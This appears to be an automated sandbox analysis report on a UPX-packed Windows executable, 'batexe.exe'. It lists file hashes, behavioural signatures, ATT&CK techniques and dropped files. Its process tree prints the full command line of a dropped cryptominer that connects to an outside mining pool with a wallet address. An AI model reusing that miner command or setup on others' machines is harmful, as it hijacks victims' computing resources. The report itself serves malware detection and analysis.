73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
294s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18/02/2024, 12:31

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
588	b2e.exe
4228	cpuminer-sse2.exe

Loads dropped DLL 6 IoCs

pid	Process
4228	cpuminer-sse2.exe
4228	cpuminer-sse2.exe
4228	cpuminer-sse2.exe
4228	cpuminer-sse2.exe
4228	cpuminer-sse2.exe
4228	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1464-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1464 wrote to memory of 588	1464	batexe.exe	74
PID 1464 wrote to memory of 588	1464	batexe.exe	74
PID 1464 wrote to memory of 588	1464	batexe.exe	74
PID 588 wrote to memory of 980	588	b2e.exe	75
PID 588 wrote to memory of 980	588	b2e.exe	75
PID 588 wrote to memory of 980	588	b2e.exe	75
PID 980 wrote to memory of 4228	980	cmd.exe	78
PID 980 wrote to memory of 4228	980	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1464
- C:\Users\Admin\AppData\Local\Temp\BB70.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\BB70.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\BB70.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:588
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BDC2.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:980
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\BB70.tmp\b2e.exe

Filesize
12.0MB

MD5
86a77b50cf5abb0234ded186794f77b6

SHA1
79ad937cfed5214b2ffa935c41e8717c4f1cf929

SHA256
434944733d8e4800ef68f02ae9b23a06a8393825c1bf22a81d27e8c4189c0adb

SHA512
9b34fef0da63ff71bbe84a9a3e4decc583872d3bcf60ba6ac662c8e3f2edc0c53c8e94145e6096e7606ac3c5f8588b0ee31201ec6d234eb43ad892e764696c71

Download Submit
C:\Users\Admin\AppData\Local\Temp\BB70.tmp\b2e.exe

Filesize
12.9MB

MD5
cb650fd9fc4b7cdeb9ad8f3c1ec83a90

SHA1
d048c024cd2246bee3df024b9450f72797ad8a60

SHA256
c4f52fabb6e45ce225f37cb46b9fce2f02a14e4cc056ebd0cf1bf9a475ea7412

SHA512
a204a1936c81c9cbb9f909f762b057faa1894687e748d83e3385aa8d7abb8f2e78eec52ed775fae51a240ac428488cae7a6138e8554a548ecd0262651ed5e4c1

Download Submit
C:\Users\Admin\AppData\Local\Temp\BDC2.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.1MB

MD5
a849a4f748edaf715bff13f4740547ac

SHA1
8f032c03ad2916d5492e40161e44c19d136f3076

SHA256
a08ecc76e689de63f87970830b39a22e73df03e6df505c387d8f47a111d47178

SHA512
3ac50e5678af35e33bebb4d0ab2b71396b0fecadef4df8ebbaf08033c8c4dc1d6a3532ad444983a35accf93fc1071a8d26701f9dbe185ee872d51c3484971e37

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.4MB

MD5
b07ccc31ece2cc5fef71319ce1732eb8

SHA1
9a2d68cad177473a3175870fc358cdb4f6595afb

SHA256
7bbe299f78dc1a8a04dea9d6607fa8e6255bed4e7574f189942ea9d5d402ba30

SHA512
510680e9b34b48c14ee32939d20f47c62b2f24238e66c944930d0b9076bd14142b72727f9514970e31a48035eef80ccd80de6410564e7183e8de11b5399cc13c

Download Submit
memory/588-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/588-52-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1464-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4228-42-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4228-58-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4228-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4228-45-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/4228-46-0x0000000073DA0000-0x0000000073E38000-memory.dmp

Filesize
608KB

Download
memory/4228-39-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/4228-53-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4228-43-0x000000006FC40000-0x00000000714F5000-memory.dmp

Filesize
24.7MB

Download
memory/4228-63-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4228-68-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4228-73-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4228-78-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4228-88-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4228-93-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4228-103-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download